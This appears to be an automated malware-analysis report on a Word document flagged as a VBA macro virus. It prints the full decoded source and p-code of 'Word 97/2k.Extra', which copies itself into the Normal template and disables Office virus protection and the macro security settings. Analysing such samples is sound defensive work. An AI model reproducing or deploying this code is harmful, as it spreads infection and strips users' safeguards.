MALICIOUS
208
Risk Score
Heuristics 4
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ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.CodeModule.deletelines 1, .CodeModule.countoflines -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4680 bytes |
SHA-256: e4cb46c70bac1d52f7b08ee0ea7aa0e30d84e571a9922102cdf94aa4087869fc |
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Detection
ClamAV:
Doc.Trojan.Onex-1
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Extra"
Attribute VB_Base = "1Normal.Extra"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Set c = New DataObject
If ActiveDocument.VBProject.VBComponents(1).Name <> "Extra" Then
Set go = ActiveDocument.VBProject.VBComponents(1)
saveit = True
ElseIf NormalTemplate.VBProject.VBComponents(1).Name <> "Extra" Then
Set go = NormalTemplate.VBProject.VBComponents(1)
End If
With go
c.SetText Extra.VBProject.VBComponents(1).CodeModule.lines(1, Extra.VBProject.VBComponents(1).CodeModule.countoflines)
.CodeModule.deletelines 1, .CodeModule.countoflines
.CodeModule.insertlines 1, c.GetText
.Name = "Extra"
End With
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = 0
Options.VirusProtection = 0
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End If
CommandBars("Tools").Controls("Macro").Enabled = 0
If saveit = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
' Word 97/2k.Extra - Psyclone X
' My first virus for the year 2k
' Processing file: /opt/analyzer/scan_staging/edfc73e4ea8e4cdd91e0dce3fe22cba8.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Extra - 2747 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' SetStmt
' New <crash>
' Set c
' Line #3:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "Extra"
' Ne
' IfBlock
' Line #4:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set GoSub
' Line #5:
' LitVarSpecial (True)
' St saveit
' Line #6:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "Extra"
' Ne
' ElseIfBlock
' Line #7:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set GoSub
' Line #8:
' EndIfBlock
' Line #9:
' StartWithExpr
' Ld GoSub
' With
' Line #10:
' LitDI2 0x0001
' LitDI2 0x0001
' Ld Extra
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd countoflines
' LitDI2 0x0001
' Ld Extra
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd lines 0x0002
' Ld c
' ArgsMemCall SetText 0x0001
' Line #11:
' LitDI2 0x0001
' MemLdWith CodeModule
' MemLd countoflines
' MemLdWith CodeModule
' ArgsMemCall deletelines 0x0002
' Line #12:
' LitDI2 0x0001
' Ld c
' MemLd GetText
' MemLdWith CodeModule
' ArgsMemCall insertlines 0x0002
' Line #13:
' LitStr 0x0005 "Extra"
' MemStWith New
' Line #14:
' EndWith
' Line #15:
' LitDI2 0x0000
' Ld Options
' MemSt ConfirmConversions
' Line #16:
' LitDI2 0x0000
' Ld Options
' MemSt SaveNormalPrompt
' Line #17:
' LitDI2 0x0000
' Ld Options
' MemSt VirusProtection
' Line #18:
' LitStr 0x0000 ""
' LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' LitStr 0x0005 "Level"
' Ld System
' ArgsMemLd PrivateProfileString 0x0003
' LitStr 0x0000 ""
' Ne
' IfBlock
' Line #19:
' LitDI2 0x0000
' LitStr 0x000B "Security..."
' LitStr 0x0005 "Macro"
' ArgsLd CommandBars 0x0001
' ArgsMemLd Controls 0x0001
' MemSt Enabled
' Line #20:
' LitDI4 0x0001 0x0000
' LitStr 0x0000 ""
' LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' LitStr 0x0005 "Level"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' Line #21:
' EndIfBlock
' Line #22:
' LitDI2 0x0000
' LitStr 0x0005 "Macro"
' LitStr 0x0005 "Tools"
' ArgsLd CommandBars 0x0001
' ArgsMemLd Controls 0x0001
' MemSt Enabled
' Line #23:
' Ld saveit
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld wdFormatDocument
' ParamNamed FileFormat
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0002
' EndIf
' Line #24:
' EndSub
' Line #25:
' QuoteRem 0x0000 0x001E " Word 97/2k.Extra - Psyclone X"
' Line #26:
' QuoteRem 0x0000 0x001F " My first virus for the year 2k"
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